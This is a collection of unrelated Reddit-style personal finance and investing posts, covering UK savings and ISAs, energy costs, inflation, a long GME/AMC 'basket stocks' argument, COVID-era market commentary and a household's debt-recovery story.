I guess. I feel like this is a lot. + +What would you do in my situation? + +Some points: + +* I have a Nest and it shuts off when I'm not in. +* I have a Plex server that is on 24/7, but should only be ~£10/month as it's 60W and idle most of the time. + +My annual usage is: + +* Gas: 15146.00 kWh +* Electric: 2375.00 kWh +>A slew of factors including rising shipping cost and supply chain bottlenecks are persisting and should last through the upcoming holiday season. +> +One issue is that the cost to ship containers overseas has soared in recent months. + +>Many companies have indicated that consumers at least for now are willing to take on higher prices. + +>Rising inflation expectations could cause the Federal Reserve to change policy course. + +https://www.cnbc.com/2021/09/24/costco-nike-and-fedex-are-warning-theres-more-inflation-set-to-hit-consumers-as-holidays-approach.html +I need your help, I’m 29 Male & fatfired 3 years ago. Willing to try anything, money and resources are no object. + +5 years ago I was in a car accident that has altered my health and life. I have struggled with trauma induced migraines brought on by brain damage from past concussions, then this traumatic brain injury ended up being the last straw. It’s affected everything in my life. + +I wake up and go to sleep with pounding migraines. I sleep 3-4 hours daily due to the pain. I practically live in the dark, my eyes are extremely sensitive and often shake which causes extreme dizziness & nausea. I’ve seen specialists, and some of the best doctors in a major city. Botox has been a bit of a relief around pressure points, tons of bc powder, and certain injections were helpful until recently, now they seem almost ineffective. I meditate daily, try sound baths, changed my diet, eat quality food, workout, get massages, take cold showers, have a sauna room, & the best bed and pillows. But any relief has been short lived. + +I try to make the best of things and push through the pain, but I’m often miserable all day. I feel defeated and am willing to try anything to be myself again. + +I’m not asking for a diagnosis, I’m looking for ideas outside the normal spectrum of care to rehabilitate. Thanks in advance. + +(I did follow u/living-pineapple-589 format for this. The help you all gave him was great and inspired me to share my story and ask for help from such a great community.) + +Edit: Thank you so much everyone for sharing ideas, stories, and thoughts. I felt tapped out prior to this post but am now re-energized & looking forward to trying out many of your suggestions. I wish everyone the best and I’m happy to be part of such a strong community. +Some friends and Redditors have mentioned where they're going to dump their profits back into the market immediately after making a profit. For the love of fuck don't do it. + +We've all come to completely see just how much of a casino this whole market is, and you better believe banks and funds will have already cooked up a scheme to get that money back asap. + +As far as crypto, if you haven't figured out what kind of a ponzie scheme it is and how much money banks and hedgies have been taking from retail investors, you're due to just write a check directly to your favourite bank. + +If you're already rich, getting greedy won't make anything any better. +My situation: I am 24, earn £27k p.a which will increase £1k-1.5k or so a year for the next two or three years, I contribute 8% to my pension and work matches 8%. I put £150 a month into a Vanguard S&S ISA and any leftover money that I have month-to-month I save in a basic cash ISA. Those ISAs have both been contributed to in the 20/21 tax year. I also have £2k set aside in an emergency fund. + +I have an Australian girlfriend who I have been with for 5 years who I also live with, and who I will one day (probably in the next three to five years) move to Australia with, permanently. Note: for the purposes of the question, I am assuming we will stay together (obviously) but to preempt comments suggesting that I should be careful not to make any big plans on the basis of a relationship, let’s just say that I plan to move down under in the next three to five years with or without my girlfriend. + +My question is, what should I be doing with my money in the mean time? Previously I have shied away from LISAs and Help to Buy ISA as I don’t have an intention to buy a house in the UK. I don’t really know what to do, do I need to be doing anything differently? I’m looking for some general advice! +**Following on from this** [**post**](https://www.reddit.com/r/UKPersonalFinance/comments/e8w4qr/free_45min_mentoring_session_from_barclays/)**.** + +I managed to book myself on and had a call with an advisor today. + +# My review: + +The call came from a withheld number, so if you are planning to do the meeting over the phone you may need to be aware of this. + +The advisor seemed friendly and initially asked if and what my financial goals maybe. + +We talked through my goals and discussed how I may accomplish them, really he didn't have any new suggestions and said that I was doing things well (I guess doing as the [flowchart](https://flowchart.ukpersonal.finance/) is good!) + +No specific products were recommended or services, just generally such as asking if I had a LISA, but did not advise on a provider to go with. + +**Nice call, wouldn't have known it was from Barclays and all in all a nice call.** + +# [Book yourself a call](https://events.uk.barclays/mentoring?campaign=MoneyMentors13691&chnnl=EMC&om_u=NsgB0e&om_i=_Bd73OvB90duXhS&WT.mc_id=EMAIL13691mentoring&campaign=EMAIL13691mentoring) + +**Honestly**, it was useful, however, most of the stuff talked about could have been gleaned from this community, despite this, it was nice to have a bit more human interaction to confirm what I am doing is right! +I posted this yesterday, but it got removed by mods within a few hours of posting. However, u/BadassTrader reached out to me and let me know he'd approve the post, and that I just needed to edit out a few things. Appreciate it, u/BadassTrader! Here's my post: + +\------------------------------------------------------------------------------------------------------------------------------------------------ + +αmc Isn’t Being Used as a Hedge Against GME \[Addressing a SHF Divide & Conquer Strategy\] + +§1: Basket Stocks + +§2: Miscellaneous Arguments + +§3: Insiders & MSM + +§4: The Division + +\------------------------------------------------------------------------------------------------------------------------------------------------ + +**§1: Basket Stocks** + +For well over a year, there's been [this](https://imgur.com/a/E6TUKH5) strong animosity against αmc and αmc Apes in this sub. More recently, there's been theories circulating that αmc is being used as a hedge by SHFs against GME. I'm probably going to get crucified for saying this, but here it goes: + +αmc isn't being used as a hedge against GME. + +https://i.redd.it/q23s08aaye691.gif + +Just hear me out. + +I'm a pretty open minded person, but I've been following both of these stocks since forever, and none of these "theories" about αmc being used as a hedge against GME are consistent with the facts. Also, having these theories being postulated as axioms by Apes ultimately undermines all the fundamental DD we've built in the past. Uncovering the truth is what's important. + +Let's first start by understanding the basket stocks. + +What are the basket stocks? Essentially, they're a group of stocks heavily shorted by SHFs. The shorts on these basket stocks get bundled up together in swaps, which is why we see similar algorithmic price movement with them. + +I implore you to read Criand's [Basket Swaps DD](https://www.reddit.com/r/Superstonk/comments/pb22oj/the_puzzle_pieces_of_quarterly_movements_equity/) from last year, which goes over how the basket stocks work, and why we see very similar movement with these stocks. + +As Criand puts it in his Basket Swaps DD, "there's a basket of "meme" stocks that move in tandem, signaling that some counterparty (or counterparties) are on the hook for a ton of swaps and that these "meme" stocks are most likely shorted as a basket through Equity Total Return Swaps. \[...\] The prevailing theory is there's a massive amount of Portfolio Swaps against these meme stocks, where so many entities can be pulled under if these squeezes occur." + +[Graph from Criand's Basket Swaps DD displaying comparable price movement between GME & basket stocks last year](https://preview.redd.it/wqxla7djye691.png?width=2428&format=png&auto=webp&s=342ce97cda03b595913d5e3d1017dfb09159ccb5) + +The major basket stocks are GME, αmc, KOSS, BBBY, & EXPR. + +Now that you know about the basket stocks. What can further validate the idea that these basket stocks (including αmc), have been heavily shorted by SHFs? + +Well, αmc, along with the other basket stocks, had the buy button removed on January 28, 2021. + +GameStop wasn't the only one that had the buy button removed by brokers back in January last year. All the basket stocks had the buy button removed, because the prices taking off would've put SHFs at risk of bankruptcy and initiating MOASS. + +Here's leaked texts from RH executives on January 28, 2021 discussing the removal of the buy button for αmc and the other basket stocks: + +[PCO: Position Closing Only \[i.e. no buying permitted, only selling\]](https://preview.redd.it/t6rvf72lye691.png?width=451&format=png&auto=webp&s=418a914d5a2d1d34ed9b3db6b60e4060ec2c1d92) + +https://preview.redd.it/wgcntvlmye691.png?width=477&format=png&auto=webp&s=adcc2a59c165cdda40914e0f1df802f156d9bb3a + +You can find this information, which was released on pages 55 & 58 of the [September, 2021 Class Action Complaint related to antitrust actions involving RobinHood](https://pdfhost.io/v/YPAly8dSy_Microsoft_Word_20210812_Corrected_Antitrust_First_Amended_Complaint_Revised). + +Ok, so here's what we know. + +1. RH removed the buy button for αmc. +2. Leaked texts reveal RH executives were worried about being crucified for removing the buy button. + +Here's the question: if αmc was a hedge against GME, why did brokers (such as RH) put themselves at so much legal and public risk just to prevent anyone from buying αmc? + +Well, since we understand the basket stocks, we understand that these particular stocks are heavily shorted by SHFs and pose a serious risk to them. Any 1 of these stocks exploding further in price could've destroyed SHF's margins and initiated MOASS, which is why RH stopped the retail buying of these stocks and informed SHFs to load up their short positions and tank the stocks beforehand; hence, ALL of these basket stocks tanked after the buy button was removed in January, 2021. + +**§2: Miscellaneous Arguments** + +Now, there are some other arguments that αmc is a hedge, such as the "Citadel has calls on αmc" argument. + +Ok, let's take a look at Citadel's 13F then: + +[Citadel has more calls than puts for GME.](https://preview.redd.it/71sqnvynye691.png?width=1683&format=png&auto=webp&s=0982fd5ed5440053fc3083f3123ac2ca86e146b0) + +[Citadel has more calls than puts for αmc.](https://preview.redd.it/c0t1771pye691.png?width=1679&format=png&auto=webp&s=bc0f221118f378869f311e8d3e0199529de2422e) + +[Source for Citadel 13F αmc calls/puts](https://imgur.com/a/7V5l2Nx) + +[Source for Citadel 13F GME calls/puts](https://fintel.io/so/us/gme/citadel-advisors-llc) + +It's clear that Citadel holds more calls than puts for both stocks, so the same argument could actually be made for GME as well. Ergo, this argument doesn't hold up. + +Also, none of this matters, because we know that Citadel's massive short positions are all hidden in swaps. + +"The way that it allows naked shorting is because the Hedge Fund "borrows" prime brokerage privileges through the swap. **The Hedge Fund is not short on its balance sheet but they are effectively short through the exposure of the derivative**. The counterparty of the swap is the one who is short the underlying. But, because the broker dealer can short for the sake of liquidity, **they do not need to report short interest on the stock by internalizing the orders and selling against their own "inventory,"** \- Criand's Basket Swaps DD. + +This is further reinforced from my [interview](https://www.reddit.com/r/Superstonk/comments/v4wxkb/i_spoke_with_a_former_citadel_client_heres_what/) with former Citadel client, Edward Thorp, where we see that Citadel appears to be overperforming to the outside, but in reality is underperforming from within. + +They're hiding their losses/short positions in swaps, and as such, are able to make everything look good on their balance sheets. + +However, there's other theories that have sprouted, saying that somehow Citadel went "net long" on αmc sometime around June last year, and that the market cap needed to stay similar to GME to act as a hedge. + +This is just speculation. It cannot be verified, because we can't look at their swaps and verify if this theory is accurate or not. This type of speculation could also be used against GME, even though we all know this isn't the case. + +It's much more reasonable to infer that Citadel has a shit ton of short positions hidden in swaps on αmc similar to GME, though I'd expect much more for GME, nonetheless. + +And we know that SHFs aren't interested in closing their short positions. This is self evident with zombie stocks. They attack these brick-and-mortar companies, create countless synthetics, cellar box them, with the goal of taking the stocks to $0 in the long-run, because then they don't have to buy back any shares and close their positions. + +That being said, why would they have decided to go long on αmc months after they prevented retail from buying the stock? Better yet, how would they go net long? I explained in § 5 of my [We Are Unstoppable](https://www.reddit.com/r/Superstonk/comments/t3zp4h/we_are_unstoppable/) DD how there's verification of millions of αmc Apes, and in turn, there's also millions of GME Apes (which is also solidified by the SEC Report). + +So, you have millions of αmc Apes holding the stock, having the same "no cell no sell" mentality we have here, high floors, etc. Also, in my [Burning Cash](https://www.reddit.com/r/Superstonk/comments/v0zrni/burning_cash/) DD, we see that the ratio of DRS shareholders between GME Apes & αmc Apes is around 10:1. In essence, we could infer that at least 1 out of every 10 GME Apes holds both stocks (or at least that 10% of Apes that DRS'ed their shares possibly holds both stocks), so there's a lot of similarities to these 2 communities, which begs the question: how would Citadel have gone net long on αmc at any moment in time? + +There's just no way this is possible. Again, they built up insanely massive short positions on these brick-and-mortar stocks, because they were reckless and arrogant. They thought it'd be an easy slam-dunk for them, similar to the zombie stocks. You can make an infinite amount of synthetics, but you don't need to spend a dime buying anything back if the company goes bankrupt. + +For Citadel to have gone net long on αmc, they would've needed to close a majority of their short positions. The can't close anything without igniting MOASS, because as soon as any closing starts, you have these Apes owning 80-95% of the float (excluding synthetics), majority refusing to sell their shares until they get extremely high floors, and to close even a fraction of their short positions would have the price skyrocket and take a big hit on their margin, putting them bankrupt, just like with SHFs trying to go net long on GME. + +A lot of Apes have asked why αmc had a much bigger run in June last year than GME. This was something I predicted would happen over a year ago, and was actually the reason I chose to focus more on αmc than GME back then. I knew both stocks would squeeze eventually, but αmc's market cap was significantly less than GME's prior to June, 2021. αmc's market cap was around $4 B while GME's market cap was around $12 B, so αmc had a potential to rally before MOASS. When the market cap is small like that, retail has more sway (power) to make big moves, due to greater ownership with their purchasing power. Furthermore, I took a look at social media sentiment, as well as the Ape communities surrounding both stocks, compared & contrasted them, and my analysis concluded that online activity and retail sentiment for αmc on social media was not consistent with a market cap 1/3rd of GME. Many indicators told me that eventually this heavy retail sentiment was going to reflect on the market cap (via a rally). The data showed me that αmc's social media sentiment reflected at least a 70% higher market cap than what the market cap was currently at pre June, 2021. + +Fundamentals don't reflect on the price, because the price is algorithmically controlled; however, FOMO/retail power can overtake the algorithm, which is what we saw briefly in June, 2021. + +There were a few things that were very compelling to me that made me focus on αmc more back then, including that if the 70% increase in retail power reflected on the market cap, it would pass a zone ($14.5) which was an algorithmic control zone back then, making the stock significantly uncontrollable, ultimately leading to an explosion in price, which is what we saw back then. + +SHFs were very desperate at that moment amid the rally. Mudrick Capital even took 8.5 million αmc shares over the counter (which didn't affect the price), and immediately sold them in the beginning of June on the NYSE (affecting the price), in an attempt to control the price action. This, in addition to several halts, and through other means, they were able to prevent it from going too high. + +You see, SHFs were able to survive at the time by letting αmc run a little, because the market cap was small, but had αmc passed $80 back in June, it would've been the equivalent to passing $400 for GME, which is why they did everything they could to bring the price down to a more controllable range. That run in June, 2021 can't happen again, because if it does, MOASS would start. Simply put, it was a lifeline spent for SHFs. Retail FOMO was too strong for αmc at that time for such a small market cap, that they had to let it rise to a more controllable range, just like GME, lest they start MOASS (same as GME borrow rate increasing exponentially; they had to let price rise a bit to lower the borrow rate). It cannot run like that anymore without igniting MOASS. All the fake squeeze theories for either stock don't work, because their margin wouldn't be able to handle a run up like that anymore. + +It had nothing to do with αmc becoming a hedge against GME. If I saw that all of a sudden there was massive social media interest surrounding BBBY, and, for example, a BBBY Ape community had 100,000 members (with a significant number of consistently active users), I would see retail FOMO is not reflected on BBBY's $0.5 B market cap, and would expect FOMO to overtake the algo there and force SHFs to allow a brief rally as well, up to the point where they can afford it without MOASS starting yet. It's the same concept. + +Now, social media sentiment surrounding αmc has had much more constrained/logistic growth than GME since June, 2021, which puts GME Apes in a better position. This, in addition to insiders holding strong, the strong DRS movement with GME Apes, fundamentals (virtually no debt for GameStop), RC's turnaround plan, stock split dividend, etc., all put GME in a much stronger position overall. I see GME having a much more explosive MOASS than αmc. + +**§3: Insiders & MSM** + +As for the sus αmc board and αmc CEO Adam Aron being sus, there were Apes suspicious of AA because of connections with boards and organizations connected to Citadel. + +I'll give you the benefit of the doubt. Let's say that the αmc board and AA are up to no good. Does that mean the basket stock isn't going to squeeze? No. It doesn't change that. Also, DFV invested into GME well before RC bought any shares and became chairman. DFV invested back when the GameStop board was sus and BCG was hired to help cellar box the company. That didn't stop DFV from seeing the potential. + +I will admit though, I agree that AA and the αmc board are pretty sus. The board's done a lot of damage to the stock (in terms of excessive share dilution, insiders selling almost everything, etc.). If it's true that they were planted to hurt the stock, then that would be more in line with what BCG was doing (infiltrating heavily shorted companies to damage them from within and help Citadel & Co. profit). But, that would also mean SHFs are heavily short the stock, further supporting the basket stocks DD, that these basket stocks will squeeze upon SHFs closing their short positions, and my main point that αmc isn't a hedge against GME. + +I'm not telling anyone to buy αmc, just explaining that even if the board was sus, it doesn't change the fact that it can squeeze. Same with BBBY. There's still sus people in the BBBY board, but doesn't change the fact that it will squeeze (along with the other basket stocks) when MOASS happens. + +Why would insiders be selling αmc? The best explanation I could come up with is that SHFs probably cut some sort of deal with insiders—that insiders sell shares, and in return SHFs won't attack the company as hard, or will give them something in return. But, I want to make it clear that if SHFs are short on a stock, they're not going to want insiders to keep holding. If anything, SHFs will incentivize insiders to sell, because it dilutes the stock and also disincentivizes retail from continuing to hold onto the stock, making seem feel more worried and wanting to sell. + +AA held onto his shares for several years, and even made this statement on June, 2021: + +https://preview.redd.it/fmxn27cuye691.png?width=961&format=png&auto=webp&s=c9f5adcd4a534ab920b7a35bae0846325bb15f88 + +You can find this on pg. 4 of the αmc [Schedule 14A](https://imgur.com/a/aYG2Obe) for June, 2021. + +So...something fucking happened recently. I don't know what exactly happened, but something happened that made him do a 180**°** and sell his shares. My best explanation would be that SHFs offered AA & insiders something in return for selling their shares. What that something was, I don't know. Maybe it was to not have lawsuits hit them like the one BCG hit GameStop with, maybe bribes, maybe it was similar to the threats SHFs made to public figures, which I discussed in my DD [Are Billionaires Being Threatened From Supporting GME](https://www.reddit.com/r/Superstonk/comments/u4jwqy/are_billionaires_or_wealthy_public_figures_being/). But, something happened. Insiders selling doesn't mean that SHFs aren't short the stock. In this case, it tells me that the board is pretty sus or did some back-end deal that we don't know about, which required them to sell their shares, which isn't good obviously. + +There was also Trey's Trades, who, if you don't know who he is, is kind of like the discount version of DFV for αmc. I actually used to like Trey, ngl. He had this charisma that brought Apes together. He even did a video discussing one of my DD posts for αmc I did over a year ago, which I thought was pretty nice. But, I found out that months back he did a 180**°** and started encouraging Apes to buy puts on αmc, which leads me to believe he took SHF money as well, because anyone buying puts on any of the basket stocks is essentially helping SHFs, but I'll get to that later. + +As for MSM showing support for αmc, yes, there has been some media support for αmc, but the majority of the MSM press has been towards discouraging anyone from buying the stock (this has been going on for years, even today) just like GME: + +https://reddit.com/link/vfctgw/video/zme5h3ugye691/player + +Shill stocks: HOOD, cιov, CNK + +Not shill stocks: GME, αmc, BBBY + +I agree I have seen that MSM has been slightly more lenient towards αmc in the past compared to GME. I assume that, if Apes were to go invest in a basket stock, that SHFs would prefer it be αmc rather than GME, because they have a little more control over that stock (due to sus insiders, no DRS movement, etc.). Regardless, if one of these stocks squeezes, the other will follow. GME is the leading basket stock, and will have the most explosive MOASS, but it doesn't mean that αmc (et al.) won't squeeze as well. + +And the FUD campaigns against αmc have still been strong, nonetheless. Iceberg Research (identical to Glacier Capital), was created as a FUD campaign against αmc \[their tweet on top right\]: + +https://preview.redd.it/ceigl2rvye691.png?width=821&format=png&auto=webp&s=8c65309409213b431592ccb81f3b9cb5168dcf76 + +**§4: The Division** + +Lastly, I want to get into the history of this division, because it'll help us better understand the circumstances we find ourselves in today. + +Here's my brief interpretation of the history: + +\[note that this is from my perspective; it may be different from someone else's perspective.\] + +Up to January, 2021, the original Ape sub had Apes from all basket stocks. It was chill, and infighting was minimal. Apes were united on squeezing SHFs (GME was the primary weapon, nonetheless). In February, 2021, when the original Ape sub got infiltrated and taken down from within, Apes sought refuge elsewhere. Apes broke into factions after that, mostly joining subs that were focused on their specific basket stock. I think this is where the division mainly began. The initial “distraction” theories about αmc were started by Apes, but SHFs like Citadel likely noticed this and started taking advantage of the division. Around March-May, 2021 you had bigger voices in the community like WardenElite come out, incite more division, and help create this mainstream animosity against αmc. + +https://preview.redd.it/5c7qxm1xye691.png?width=828&format=png&auto=webp&s=e24a2d3c37bf2d05b2cd1c47a864de6942ee547f + +Charlie'sVids (The YouTuber that has consistently made videos attacking SuperStonk and DRS Apes, saying that it's mostly bots on SuperStonk pushing DRS, and that SuperStonk is a cult) was another one that was inciting division between both Ape communities later on. He even lightly brought up buying puts on αmc last year. + +And recently, Citadel decided to capitalize off this division: + +https://preview.redd.it/xnav7hcyye691.png?width=619&format=png&auto=webp&s=a771c93a4a897b3849f00c42f54ba044942fc3dd + +[Citadel joined αmc Ape twitter call.](https://preview.redd.it/wi65l0lzye691.png?width=640&format=png&auto=webp&s=c8f37429214764a1f35af8d5292dd5121d100f65) + +This is a very clever reverse-psychology tactic. They want you to think "I was right, αmc is a hedge against GME", further adding fuel to the division. + +Why would SHFs want to do this? + +1. It's alienating Apes from the community that hold both stocks. +2. It's distracting the community from the bigger picture and the real enemy (SHFs). +3. It could possibly encourage some Apes to buy puts on αmc (virtually shorting the stock) thinking it's necessary to "break the hedge", which in turn would help SHFs. + +Divide and conquer is a tactic that's been used for millennia. Caesar used divide and conquer to turn Celtic tribes against each other, so that he could conquer them easier. After Emperor Theodosius divided the Roman Empire into Western & Eastern Rome, West Rome was getting close to collapsing due to Germanic tribes invading. The Eastern Roman Empire offered to help, but the Western Roman Empire had such strong animosity for them that they refused the help and collapsed. During the Atlantic Slave Trade, the labels "black" & "white" were created to divide & conquer the lower class, having Irish indentured servants fighting Sub-Saharan African slaves instead of uniting together against exploitative slave owners. During the colonization of Rwanda, Rwandans were broken into 2 groups: Hutus & Tutsis. This made it ultimately easier for them to be controlled. Instead of working together as 1 and uniting against the elite, Rwandans became obsessed over these small differences, fighting each other for generations, ultimately leading to the Rwandan genocide. + +SHFs/the elite want us divided. They've been using these divide and conquer strategies for generations. Why would I want to fight an Ape? Someone that has suffered through similar bullshit like me, that has been adversely impacted by the criminal negligence and manipulation by SHFs? We all have 1 enemy, yet here we are for over 1 year with Apes fighting each other because of stupid things, because ultimately both stocks are in the basket and they both hurt SHFs. + +I agree that GME is a better stock, you won't have an argument from me on that. I agree that GME will be the most explosive MOASS, and all other basket stocks will not squeeze as hard as GME, but does that mean anyone benignly holding any αmc needs to get bullied and alienated from the community? No. + +Well, I saw that happen to Kat Stryker. For those of you who don't know who Kat Stryker is, she's an OG Ape that has consistently gone out of her way to get big exposure for Apes through publicly exposing and spreading awareness on Wall Street corruption (there were also some billboards that she put out supporting GME that made it on this sub in the past). She was the one that did the #CitadelScandal plane banner and #KenGriffinLiedUnderOath plane banner, which Kenny's Lawyers sent Cease & Desist Letters to try to shut it down. + +https://preview.redd.it/n6sjsf61ze691.png?width=640&format=png&auto=webp&s=514268c21550ae558134bb434922028dc4816bc4 + +But Kat persistent and found other avenues around that: + +https://preview.redd.it/q2jedgh2ze691.png?width=975&format=png&auto=webp&s=d8242e7d8265efebd570d3b52d12475965b0ebf5 + +Kat's done a lot of good for the Ape community, so seeing all the calls from Apes trying to get her banned from the sub for posting here (or trying to alienate her from the community just for holding both stocks) is harmful to the community. + +This was a recent comment from Kat in this sub: + +https://preview.redd.it/0ils54v3ze691.png?width=689&format=png&auto=webp&s=5616e1ede6b060fb86827dcf30a727fa4e7f079d + +We don't want to alienate people just because they hold both stocks, especially not when they're fighting the same enemy. It's also a slippery slope. + +Are we going to alienate Former SEC Commissioner Lisa Braganca from doing AMAs on SuperStonk (or supporting the Ape community) anymore because she holds both stocks? What about Criand, Atobitt, and Dave Lauer? Criand supports both stocks, Atobitt did interviews with αmc YouTubers, and Lauer has also shown support for αmc in the past. Do they get removed as well? I can't imagine how many Apes have felt alienated or disconnected from the community for holding both stocks. Again, I agree that GME is better for many reasons. That doesn't mean αmc Apes need to be bashed or alienated from this community. + +This was a tweet RC liked recently: + +https://preview.redd.it/az5ujg85ze691.png?width=595&format=png&auto=webp&s=a6f593ee664cd69e8c1eb33b8ac8b2515ab4da6b + +And here's a recent tweet from RC: + +https://preview.redd.it/2ov3ble6ze691.png?width=631&format=png&auto=webp&s=8ffa4ff1780796c953cb55235b5955bd80a0a6d8 + +With this information in mind, do you think RC would be more supportive or less supportive of this infighting and division going on in the sub? + +\[Due note that RC also bought a significant amount of BBBY calls/shares months back, meaning that he recognizes the basket stocks DD, and that the basket stocks will squeeze during MOASS.\] + +We don't need this infighting. Stop wasting your energy fighting each other, and start directing that energy against the real enemy \[Kenny & Co.\]. + +Furthermore, this division hurts the flow of information within the community. When you recognize that these basket stocks exist because they're heavily shorted by SHFs, you can build DD on that. You see that if some activity is happening to one basket stock, it may affect the other basket stocks, and vice versa. The division in the sub hinders the flow of information to be able to better understand SHF manipulation tactics, short positions, the algorithm, MOASS, etc. + +What's worse is that, if I'm right that αmc isn't a hedge against GME, and eventually SHFs push a campaign to try getting Apes buying puts on αmc to "break the hedge", any Ape trying to short αmc would, effectively, be helping SHFs make money by shorting one of the basket stock SHFs are heavily shorted on. + +There's so much more I could talk about related to this topic, but I'd end up exceeding the character limit on this post, and I'd rather not have to make more posts about this, because I know how controversial this topic can be. + +You might read this post and still choose to believe αmc is a hedge against GME, but at least remember this post for future reference. The biggest evidence you'll get of me being right about this is when the GME MOASS happens and you see all the other basket stocks squeeze violently. Then, you'll look back, see that I was right, and realize how much time was wasted fighting and alienating each other in the past, when we could've accomplished so much more united. It's also easier to encourage αmc Apes to hold GME as well when you're nice to them, instead of trashing the stock or ostracizing them. + +GME will MOASS regardless, so there's no need for anyone to get defensive about this. SHFs shorted multiple brick-and-mortar companies to get them bankrupt. They didn't solely choose 1 company. Nonetheless, this is a GME sub, and the focus here should be on GME. GME is in the best position for MOASS, in my opinion, but the infighting between basket stocks is harmful to the community, and the toxicity and alienation of other Apes for holding both stocks doesn't benefit us in any way, shape, or form. + +Posts explaining why GME is the best (most preferrable) basket stock is good, but not these speculative theories being propagated as axioms that αmc is a hedge against GME, which is then used to shame Apes that hold both stocks, further creating a divide in the community, making other basket stock Apes feeling unwelcome and discouraged from helping provide any further support to us. + +I know this particular divide in the community has been going on for over a year, and I don't expect this post to change that, but at least you'll know there was someone that tried to help ameliorate the stark dichotomy within the community. + +\------------------------------------------------------------------------------------------------------------------------------------------------ + +**TL;DR: the theories that αmc is a hedge against GME are not consistent with the facts. αmc is a basket stock, algorithmically controlled like the other basket stocks, and heavily shorted by SHFs. It had the buy button removed, massive FUD campaigns and MSM attacks against it, and the same SHFs manipulation tactics are being used against αmc just like GME. Although GME is a better stock, and in a much better position for MOASS, αmc, as well as the other basket stocks, will squeeze during the GME MOASS. The divide and conquer push in Ape communities pitting Apes against Apes ultimately alienates Apes, distracts us from the real enemy, and (worse) could encourage GME Apes to short αmc (one of the basket stocks) thinking it will "break some hedge", which in turn would only benefit SHFs.** + +\----------------------------------------------------------------------------------------------------------------------------------------------------- + +One final thing: + +I just found out about this today. It honestly looks like I was right. MSM ENCOURAGING Apes to short αmc! + +https://preview.redd.it/n783xjp8ze691.png?width=640&format=png&auto=webp&s=72cda07e339f6c4e3c91d3681695cf9ca3a5c85d + +That's why these divide and conquer campaigns have been pushed hard. If they start convincing Apes to short αmc, it'll only end up helping SHFs profit. Any Ape shorting a basket stock is GIVING their money to SHFs! Don't get caught up in SHF divide & conquer campaigns. + +Buy, Hold, & DRS GME. + +\------------------------------------------------------------------------------------------------------------------------------------------------ + +Edit: I anticipated this would happen, and I'll take the hate for it. I'm grateful I at least got the opportunity to present a counter-argument on how αmc isn't a hedge against GME. + +Note: I'm not advertising αmc here. As a community built on DD, it's important to get the facts straight, so when I see countless posts about how αmc is a hedge against GME make it straight to the top of the sub, and when it's not consistent with the facts, the right thing for me to do is to properly address it. + +I can see that the majority of Apes aren't interested in this topic being brought up. I'll respect that and not post about it anymore. I apologize for the drama this has caused. Take care. +Nomura published an insightful piece about the short squeeze, that partially pushed stocks higher. + +**featured in this article from Financial Time's Alphaville (copy link tag text with dot after com to access article)** + +[https://ftalphaville.ft.com./2020/04/07/1586255667000/Markets-Now---Tuesday-7th-April-2020/#comments](https://ftalphaville.ft.com/2020/04/07/1586255667000/Markets-Now---Tuesday-7th-April-2020/#comments) + +It also mentions that investors would be wrong to value stocks too strongly for their long-term future growth potential in the current short-term driven news reality. + +**A quick summary of the greed and fear (fomo) scenario we are currently experiencing** + +[https://www.bloombergquint.com/markets/investors-are-chasing-the-rally-into-the-jaws-of-economic-crisis](https://www.bloombergquint.com/markets/investors-are-chasing-the-rally-into-the-jaws-of-economic-crisis) + +**and that half of GS' clients didn't reach their lows** + +[https://www.marketwatch.com/story/ahead-of-this-weeks-rally-half-of-goldman-sachs-institutional-clients-thought-lows-hadnt-been-reached-2020-04-07](https://www.marketwatch.com/story/ahead-of-this-weeks-rally-half-of-goldman-sachs-institutional-clients-thought-lows-hadnt-been-reached-2020-04-07) + +&#x200B; + +**Some new developments from today's economic and infection numbers** + +Additionally, today's infection numbers don't tell the positive story as good as they did yesterday. Spain's daily death toll has seen 100 more daily deaths than yesterday. Similar stories for the UK and France for which death tolls were speeding up compared to the previous days. New York's and New Jersey's fatalities rised again more strongly, really showing a pattern of weaker weekend fatality numbers. + +Germany and other countries discuss lifting the lockdown with the key requirement to wear masks in order to be allowed onto the street. The key problem is that approximately 95% of the population in Germany cannot get masks because the supply is too low, and will likely not be much greater in the foreseeable future because global demand is rising rapidly, while supply growth cannot keep up with demand. This puts an effective obstacle to lifting lockdowns in the near-term. + +Companies like Accor (strongly exposed to Covid risks) just let 200k employees go. Additionally, more bonds are graded junk with the numbers steeply to rise ([https://www.ft.com/content/72641a3f-5c11-40b1-923a-7aeefbb89d7f](https://www.ft.com/content/72641a3f-5c11-40b1-923a-7aeefbb89d7f)) + +Consumer surveys in Germany concluded that more than 25% of consumers are planning to massively reduce their consumption, even after the lockdowns are lifted. + +Edit: CitiBank strategists have suggested that the rally is nothing more than an “aftershock” and is not underpinned by trading volume or any guarantees of an end to the outbreak. + +Obviously we are in unchartered territory here. + +**So, where does this leave us with current investment allocation and risk assumptions in view of the current rally?** +I've seen with inflation on the rise, the money currently sitting in my Halifax 'savings' account (which gives me 0.01% interest) is set to potentially lose the equivalent of hundreds of pounds of value if inflation continues for a couple years. + +Where's the best place for me to put that money? I've read the flowchart, have a big emergency fund, no debt etc. and it looks like a fixed-rate savings account or premium bonds could be an option...and I'm also tempted by taking on some risk with gold or S&S ISA diversified index funds. + +Would be glad for any advice on how to decide from anyone who's been in a similar situation! +I haven’t been able to follow it closely, but I feel like I am constantly seeing headlines about Deutsche Bank laying off thousands of employees, announcing restructuring plans, and trying to spin off toxic assets. They’re have also been stories about Deutsche trying to merge with banks like Commerzbank only for things to fall apart during negotiations. The stock has gone from around $40 in 2014 to about $7 to $8 today. + +Is Deutsche Bank on the slow road to insolvency ala Lehman, and if so, shouldn’t this constantly be in the news as a major threat to the global economy, potentially a bigger threat than the trade war? +My husband (boyfriend at the time) and I have struggled financially since the moment we moved in together as inept teenagers 10 years ago. There were times that we scrounged for change in and under the couch so we could buy a 50 cent can of generic beef stew that, in retrospect, was probably only a grade or two above dog food. Since then, we've settled in our careers and earn a modestly decent living (a change from about $20k/yr to $75k/yr). + + +It was 2 years ago that I began reading posts on PF and wondering why we were always living paycheck to paycheck and our credit was in the trash. With PF's guidance, I began tracking every cent, using credit responsibly, built a 6 month e-fund, opened and maxed out IRAs for us both, and began progressively upping contributions to my 401k. I also began making more informed investment choices (the early 401k years were a hot mess). + + +In these 2 years, our liquid savings has increased from $2k to $15k, and we have $20k in our retirement accounts (little acorns and all). We have cleaned up our credit reports, have no outstanding debt and always pay credit card balances in full. Most exciting of all, we are about to close on a modest $70k house where the principal, interest, tax and insurance will be roughly half of what we currently pay for rent. + + +PF gave me the wake up call I needed, the wisdom to guide me, and has completely changed my view of money and ultimately life. Growing up poor, money was a symbol of oppression, a way 